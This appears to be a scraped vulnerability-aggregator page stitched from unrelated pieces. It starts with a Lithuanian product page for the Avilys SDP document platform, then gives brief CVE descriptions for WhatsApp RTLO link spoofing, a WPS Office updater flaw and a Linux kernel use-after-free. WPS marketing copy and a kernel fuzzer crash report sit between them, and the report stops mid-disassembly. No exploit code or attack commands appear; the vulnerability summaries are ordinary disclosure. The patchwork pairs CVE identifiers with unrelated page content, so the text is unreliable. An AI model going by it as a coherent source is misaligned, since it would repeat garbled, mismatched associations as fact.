*   Pirkimų informacijos valdymas (pirkimo paraiškos rengimas ir derinimas)
*   Resursų valdymas (posėdžių salių, automobilių, konferencijų įrangos, kt.)
*   Projektų valdymas (projekto registravimas, dokumentų susiejimas, užduoties skyrimas projekto komandai)
*   Konsultacijų valdymas (informacijos apie konsultacijas administravimas ir konsultacijų teikimas, konsultacijų užsakymas)
*   Teisės aktų valdymas (rengimas, derinimas, publikavimas)

**Klientai:**

 

*   Ignalinos atominė elektrinė
*   Lietuvos bankas
*   Vilniaus, Klaipėdos, Panevėžio, Alytaus, Šiaulių miestų savivaldybės
*   Biržų, Pakruojo, Šiaulių, Zarasų rajonų savivaldybės
*   LR Vyriausybės kanceliarija
*   LR krašto apsaugos ministerija
*   LR susisiekimo ministerija
*   LR teisingumo ministerija
*   LR užsienio reikalų ministerija
*   LR vidaus reikalų ministerija
*   Policijos departamentas
*   Informacinės visuomenės plėtros komitetas
*   Lietuvos Respublikos transporto priemonių draudikų biuras
*   Klaipėdos valstybinio jūrų uosto direkcija

 

 

*   Lietuvos nacionalinė M. Mažvydo biblioteka ir kelios viešosios bibliotekos
*   Lietuvos vyriausiojo archyvaro tarnyba
*   Vilniaus universitetas
*   Kultūros paveldo departamentas
*   Nacionalinis muziejus Lietuvos Didžiosios kunigaikštystės valdovų rūmai
*   Nacionalinė žemės tarnyba
*   Valstybinė geležinkelio inspekcija
*   Lietuvos transporto saugos administracija
*   Valstybinė mokesčių inspekcija
*   Valstybinė teritorijų planavimo ir statybos inspekcija
*   Valstybinis patentų biuras
*   Žemės ūkio informacijos ir kaimo verslo centras
*   „Akropolis group"

 

„Avilys SDP“ - tai turinio valdymo (ECM) platforma, kuri apima metodus ir įrankius, naudojamus užfiksuoti, valdyti, įrašyti, išsaugoti ir pateikti informaciją, dokumentus ir duomenis, susijusius su organizacijos veiklos procesais, bei kurios pagalba galima konfigūruoti ir kurti naujus modulius bei taikomąsias programas įvairiems su organizacijos veiklos procesais susijusiems funkcionalumams įgyvendinti.

Daugiau informacijos meniu „Sprendimai“ skiltyje „Turinio valdymas“.

Whatsapp iOS 2.19.80 and prior and Android 2.19.222 and prior user interface does not properly represent URI messages to the user, which results in URI spoofing via specially crafted messages.

**CWE-451: User Interface (UI) Misrepresentation of Critical Information.**

> _The user interface does not properly represent critical information to the user, allowing the information to be spoofed. This is often a component in online scams, phishing and disinformation propagation._

When a message contains a valid URL, it is highlighted and marked as hyperlink. However, this is printed to screen before sanitizing Unicode Control Characters, which results in URI spoofing via specially crafted messages.

`Affects all recent distributions of iOS iMessage, WhatsApp, Instagram, and Facebook Messenger as of 2019.8.15`

WhatsApp

Instagram DM

![POCW](https://github.com/zadewg/RIUS/raw/master/whatsapp.gif)

![POCI](https://github.com/zadewg/RIUS/raw/master/instagram.gif)

**mapez** - telegram

CVE-2020-20096: GitHub - zadewg/RIUS: RTLO Injection URI Spoofing

wpsupdater.exe in Kingsoft WPS Office through 11.2.0.10382 allows remote code execution by modifying HKEY_CURRENT_USER in the registry.

**All in One, One for All**

![WPS Writer](https://website-prod.cache.wpscdn.com/img/writer_palette.42f3d2a.svg) ![WPS Writer](https://website-prod.cache.wpscdn.com/img/writer_tubularis.534bd31.svg)

![](https://website-prod.cache.wpscdn.com/img/writer_annotate.6af4b11.svg)

**All in One, One for All**

As an industry-leading office software provider, WPS Office brings convenience and professional support for people in business, education, and home scenarios.

Our office suite is also fully compatible with common products, such as Microsoft Office and Google Docs. The four components of WPS Office are Writer, Spreadsheet, Presentation, and PDF, which can meet your daily work and study requirements. You can use WPS Office exactly the same way you would use Microsoft Word, Excel, and PowerPoint.

![WPS Writer user reviews](https://website-prod.cache.wpscdn.com/img/p1.7d1a212.png)

Patricia Pavel

WPS meets my needs, because I use my mobile phone and iPad when I'm out and use a computer when I'm working. With WPS, I don't need to spend a lot of time transferring files between the computer and the mobile phone. Anyway, it is a free and amazing alternative to Microsoft Office, giving me better experience than MS Office. I like it very much.

CVE-2022-24934: WPS Office - Free Office Download for PC & Mobile, Alternative to MS Office

A use-after-free flaw was found in the add_partition in block/partitions/core.c in the Linux kernel. A local attacker with user privileges could cause a denial of service on the system. The issue results from the lack of code cleanup when device_add call fails when adding a partition to the disk.

Messages in this thread

*   First message in thread
*   Hao Sun
    *   Hao Sun
        *   Zqiang
            *   Christoph Hellwig
                *   Zqiang

From

Date

Tue, 7 Sep 2021 09:22:03 +0800

Subject

WARNING in \_\_init\_work

Hello,

When using Healer to fuzz the latest Linux kernel, the following crash  
was triggered.

HEAD commit: 27151f177827 Merge tag 'perf-tools-for-v5.15-2021-09-04'  
git tree: upstream  
console output:  
https://drive.google.com/file/d/1M5oyA\_IcWSDB2XpnoX8SDmKJA3JhKltz/view?usp=sharing  
kernel config: https://drive.google.com/file/d/1ZMVJ2vNe0EiIEeWNVyrGb7hBdOG5Uj3e/view?usp=sharing  
C reproducer: https://drive.google.com/file/d/1AtDNXl8XEBfglKXsKsAH2NuXBcrp8Zp9/view?usp=sharing  
Syzlang reproducer:  
https://drive.google.com/file/d/1R\_XD\_cyMNS0Q\_SGSqomRy\_LIClOrd-gI/view?usp=sharing

If you fix this issue, please add the following tag to the commit:  
Reported-by: Hao Sun <sunhao.th@gmail.com>

ODEBUG: object ffffc9000073cda0 is NOT on stack ffffc90005f34000, but annotated.  
\------------\[ cut here \]------------  
WARNING: CPU: 2 PID: 27648 at lib/debugobjects.c:548  
debug\_object\_is\_on\_stack lib/debugobjects.c:545 \[inline\]  
WARNING: CPU: 2 PID: 27648 at lib/debugobjects.c:548  
\_\_debug\_object\_init+0x224/0x520 lib/debugobjects.c:607  
Modules linked in:  
CPU: 2 PID: 27648 Comm: syz-executor Not tainted 5.14.0+ #13  
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS  
rel-1.12.0-59-gc9ba5276e321-prebuilt.qemu.org 04/01/2014  
RIP: 0010:debug\_object\_is\_on\_stack lib/debugobjects.c:545 \[inline\]  
RIP: 0010:\_\_debug\_object\_init+0x224/0x520 lib/debugobjects.c:607  
Code: 84 ca fe ff ff 83 c0 01 4c 89 f6 48 c7 c7 f8 b0 3c 85 89 05 7e  
c2 56 06 65 48 8b 04 25 40 70 01 00 48 8b 50 20 e8 05 9b f5 01 <0f> 0b  
e9 9e fe ff ff 89 05 87 4d e3 03 e9 c4 fe ff ff 48 c7 c7 e0  
RSP: 0018:ffffc9000073ccf0 EFLAGS: 00010282  
RAX: 0000000000000050 RBX: ffff88810cf2f398 RCX: 0000000000000100  
RDX: 0000000000000000 RSI: ffffffff812cf85c RDI: 00000000ffffffff  
RBP: ffffffff88868538 R08: 0000000000000000 R09: 0000000000000001  
R10: ffffc9000073cc80 R11: 0000000000000005 R12: 0000000000000203  
R13: 0000000000054450 R14: ffffc9000073cda0 R15: ffff88807dd264f0  
FS:  0000000002ad0940(0000) GS:ffff88807dd00000(0000) knlGS:0000000000000000  
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  
CR2: 00000000005061ec CR3: 0000000100da5000 CR4: 0000000000750ee0  
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000  
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400  
PKRU: 55555554  
Call Trace:  
 <IRQ>  
 \_\_init\_work+0x3f/0x50 kernel/workqueue.c:519  
 synchronize\_rcu\_expedited+0x26a/0x460 kernel/rcu/tree\_exp.h:847  
 bdi\_remove\_from\_list mm/backing-dev.c:938 \[inline\]  
 bdi\_unregister+0x97/0x270 mm/backing-dev.c:946  
 release\_bdi+0x4a/0x70 mm/backing-dev.c:968  
 kref\_put include/linux/kref.h:65 \[inline\]  
 bdi\_put+0x47/0x70 mm/backing-dev.c:976  
 bdev\_free\_inode+0x59/0xc0 fs/block\_dev.c:819  
 i\_callback+0x24/0x50 fs/inode.c:224  
 rcu\_do\_batch kernel/rcu/tree.c:2508 \[inline\]  
 rcu\_core+0x2d6/0x9f0 kernel/rcu/tree.c:2743  
 \_\_do\_softirq+0xe9/0x561 kernel/softirq.c:558  
 invoke\_softirq kernel/softirq.c:432 \[inline\]  
 \_\_irq\_exit\_rcu kernel/softirq.c:636 \[inline\]  
 irq\_exit\_rcu+0xe2/0x100 kernel/softirq.c:648  
 sysvec\_apic\_timer\_interrupt+0x9e/0xc0 arch/x86/kernel/apic/apic.c:1097  
 </IRQ>  
 asm\_sysvec\_apic\_timer\_interrupt+0x12/0x20 arch/x86/include/asm/idtentry.h:638  
RIP: 0010:\_\_sanitizer\_cov\_trace\_pc+0x37/0x60 kernel/kcov.c:197  
Code: 65 48 8b 14 25 40 70 01 00 81 e1 00 01 00 00 a9 00 01 ff 00 74  
0e 85 c9 74 35 8b 82 34 15 00 00 85 c0 74 2b 8b 82 10 15 00 00 <83> f8  
02 75 20 48 8b 8a 18 15 00 00 8b 92 14 15 00 00 48 8b 01 48  
RSP: 0018:ffffc90005f37b78 EFLAGS: 00000246  
RAX: 0000000000000000 RBX: 0000000000000006 RCX: 0000000000000000  
RDX: ffff888109448000 RSI: ffffffff8212a28c RDI: ffffc90005f37d30  
RBP: 0000000000000006 R08: 0000000000000d40 R09: ffff8880165fc5e0  
R10: ffffc90005f37cd0 R11: 0000000000000003 R12: 0000000000000375  
R13: ffff888107597b40 R14: ffffc90005f37d30 R15: ffff8880174b0ea0  
 tomoyo\_domain\_quota\_is\_ok+0xac/0x150 security/tomoyo/util.c:1092  
 tomoyo\_supervisor+0x228/0x7f0 security/tomoyo/common.c:2089  
 tomoyo\_audit\_path\_log security/tomoyo/file.c:168 \[inline\]  
 tomoyo\_path\_permission+0xa0/0xf0 security/tomoyo/file.c:587  
 tomoyo\_path\_perm+0x22f/0x2d0 security/tomoyo/file.c:838  
 tomoyo\_path\_symlink+0x43/0x70 security/tomoyo/tomoyo.c:199  
 security\_path\_symlink+0x48/0x80 security/security.c:1164  
 do\_symlinkat+0x75/0x120 fs/namei.c:4274  
 \_\_do\_sys\_symlink fs/namei.c:4301 \[inline\]  
 \_\_se\_sys\_symlink fs/namei.c:4299 \[inline\]  
 \_\_x64\_sys\_symlink+0x3a/0x40 fs/namei.c:4299  
 do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]  
 do\_syscall\_64+0x34/0xb0 arch/x86/entry/common.c:80  
 entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae  
RIP: 0033:0x46a597  
Code: 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66  
2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 b8 58 00 00 00 0f 05 <48> 3d  
01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48  
RSP: 002b:00007ffd09085778 EFLAGS: 00000206 ORIG\_RAX: 0000000000000058  
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 000000000046a597  
RDX: 0000000000000000 RSI: 00000000004e40f9 RDI: 00007ffd09085810  
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000014  
R10: 0000000000000000 R11: 0000000000000206 R12: 0000000000000000  
R13: 0000000000000000 R14: 00007ffd09085810 R15: 00007ffd090857cc  
\----------------  
Code disassembly (best guess):  
   0: 65 48 8b 14 25 40 70 mov    %gs:0x17040,%rdx  
   7: 01 00  
   9: 81 e1 00 01 00 00    and    $0x100,%ecx  
   f: a9 00 01 ff 00        test   $0xff0100,%eax  
  14: 74 0e                je     0x24  
  16: 85 c9                test   %ecx,%ecx  
  18: 74 35                je     0x4f  
  1a: 8b 82 34 15 00 00    mov    0x1534(%rdx),%eax  
  20: 85 c0                test   %eax,%eax  
  22: 74 2b                je     0x4f  
  24: 8b 82 10 15 00 00    mov    0x1510(%rdx),%eax  
\* 2a: 83 f8 02              cmp    $0x2,%eax <-- trapping instruction  
  2d: 75 20                jne    0x4f  
  2f: 48 8b 8a 18 15 00 00 mov    0x1518(%rdx),%rcx  
  36: 8b 92 14 15 00 00    mov    0x1514(%rdx),%edx  
  3c: 48 8b 01              mov    (%rcx),%rax  
  3f: 48                    rex.W%

Tag

#ios